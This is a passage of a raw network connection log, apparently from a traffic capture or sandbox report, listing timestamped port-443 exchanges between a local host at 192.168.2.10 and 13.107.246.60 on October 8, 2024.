Oct 8, 2024 03:24:17.205451965 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.322284937 CEST	443	49765	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.322896957 CEST	49765	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.322916985 CEST	443	49765	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.323332071 CEST	49765	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.323338032 CEST	443	49765	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.421130896 CEST	443	49765	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.421201944 CEST	443	49765	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.421490908 CEST	49765	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.421518087 CEST	49765	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.421518087 CEST	49765	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.421536922 CEST	443	49765	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.421545982 CEST	443	49765	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.424762011 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.424798965 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.424896955 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.425086975 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.425097942 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.495101929 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.495799065 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.495820999 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.496237040 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.496243000 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.594089031 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.594252110 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.594362020 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.597326040 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.597326040 CEST	49766	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.597352028 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.597361088 CEST	443	49766	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.600445032 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.600496054 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.600568056 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.600718021 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.600729942 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.699161053 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.699795961 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.699821949 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.700241089 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.700247049 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.766792059 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.767340899 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.767357111 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.767864943 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.767869949 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.803041935 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.803107023 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.803145885 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.803319931 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.803335905 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.803350925 CEST	49767	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.803355932 CEST	443	49767	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.806200981 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.806250095 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.806349039 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.806530952 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.806545019 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.848784924 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.849296093 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.849324942 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:17.849750996 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:17.849759102 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.095592022 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.095662117 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.095721006 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.095926046 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.095926046 CEST	49768	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.095942020 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.095951080 CEST	443	49768	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.096395969 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.096472979 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.096527100 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.096611977 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.096628904 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.096642017 CEST	49769	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.096647978 CEST	443	49769	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.099426031 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.099461079 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.099570036 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.099663019 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.099670887 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.099814892 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.099823952 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.099940062 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.100023031 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.100033998 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.280261993 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.280757904 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.280791998 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.281222105 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.281227112 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.307204008 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.307765007 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.307787895 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.308219910 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.308227062 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.379921913 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.379986048 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.380045891 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.380244017 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.380265951 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.380279064 CEST	49770	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.380285025 CEST	443	49770	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.383166075 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.383214951 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.383281946 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.383460045 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.383470058 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.408076048 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.408233881 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.408287048 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.408384085 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.408401012 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.408411980 CEST	49771	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.408416986 CEST	443	49771	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.411415100 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.411451101 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.411628962 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.411628962 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.411660910 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.496706963 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.497277975 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.497308969 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.497746944 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.497751951 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.600183010 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.600249052 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.600348949 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.600554943 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.600573063 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.600584984 CEST	49772	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.600589991 CEST	443	49772	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.604115009 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.604155064 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.604346991 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.604346991 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.604377031 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.738923073 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.739532948 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.739563942 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.740165949 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.740173101 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.761611938 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.762095928 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.762109041 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.762523890 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.762528896 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.845719099 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.845876932 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.845968962 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.846064091 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.846088886 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.846100092 CEST	49774	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.846106052 CEST	443	49774	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.849069118 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.849108934 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.849221945 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.849397898 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.849411964 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.860359907 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.860526085 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.860666037 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.860683918 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.860693932 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.860704899 CEST	49773	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.860708952 CEST	443	49773	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.864206076 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.864253044 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:18.864813089 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.864813089 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:18.864850044 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.030440092 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.033879042 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.033900976 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.034363031 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.034369946 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.062534094 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.063405037 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.063422918 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.063981056 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.063993931 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.130743980 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.130809069 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.130860090 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.131057978 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.131081104 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.131092072 CEST	49775	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.131098986 CEST	443	49775	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.134175062 CEST	49780	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.134221077 CEST	443	49780	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.134272099 CEST	49780	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.134408951 CEST	49780	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.134418964 CEST	443	49780	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.163800001 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.163888931 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.164082050 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.164552927 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.164552927 CEST	49776	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.164572954 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.164583921 CEST	443	49776	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.166986942 CEST	49781	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.167030096 CEST	443	49781	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.167108059 CEST	49781	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.167303085 CEST	49781	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.167320967 CEST	443	49781	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.240382910 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.241149902 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.241174936 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.241625071 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.241631985 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.362143040 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.362310886 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.362390041 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.362498999 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.362520933 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.362533092 CEST	49777	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.362539053 CEST	443	49777	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.365255117 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.365305901 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.365387917 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.365533113 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.365550995 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.508469105 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.509116888 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.509179115 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.509612083 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.509623051 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.522175074 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.522825956 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.522857904 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.523257971 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.523269892 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.615484953 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.615645885 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.615818977 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.615818977 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.615870953 CEST	49779	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.615890980 CEST	443	49779	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.618467093 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.618515968 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.618596077 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.618731022 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.618745089 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.624918938 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.625118971 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.625217915 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.625267982 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.625268936 CEST	49778	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.625293970 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.625314951 CEST	443	49778	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.627521038 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.627559900 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.627648115 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.627780914 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.627798080 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.800210953 CEST	443	49780	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.800818920 CEST	49780	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.800834894 CEST	443	49780	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.801287889 CEST	49780	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.801292896 CEST	443	49780	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.825098991 CEST	443	49781	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.825922012 CEST	49781	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.825944901 CEST	443	49781	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.826450109 CEST	49781	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.826457024 CEST	443	49781	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.903834105 CEST	443	49780	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.903912067 CEST	443	49780	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.904012918 CEST	49780	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.904300928 CEST	49780	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.904323101 CEST	443	49780	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.904335976 CEST	49780	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.904340982 CEST	443	49780	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.907521009 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.907574892 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.907691002 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.907893896 CEST	49785	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.907905102 CEST	443	49785	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.947968960 CEST	443	49781	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.948122978 CEST	443	49781	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.948210001 CEST	49781	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.950820923 CEST	49781	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.950834990 CEST	443	49781	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.950851917 CEST	49781	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.950860023 CEST	443	49781	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.954062939 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.954122066 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:19.954230070 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.954390049 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:19.954404116 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.057512045 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.059107065 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.059129953 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.059833050 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.059842110 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.164077997 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.164144993 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.164206982 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.164335012 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.164356947 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.164371014 CEST	49782	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.164381981 CEST	443	49782	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.167644024 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.167692900 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.167753935 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.167918921 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.167933941 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.281904936 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.282612085 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.282643080 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.283117056 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.283127069 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.304735899 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.305284977 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.305321932 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.305752039 CEST	49783	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.305758953 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.389281034 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.389302969 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.389420033 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.389430046 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.389475107 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.389844894 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.389869928 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.389883041 CEST	49784	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.389894009 CEST	443	49784	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.393199921 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.393240929 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.393357992 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.393562078 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:20.393574953 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.408476114 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.408548117 CEST	443	49783	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:20.408621073 CEST	49783	443	192.168.2.10	13.107.246.60
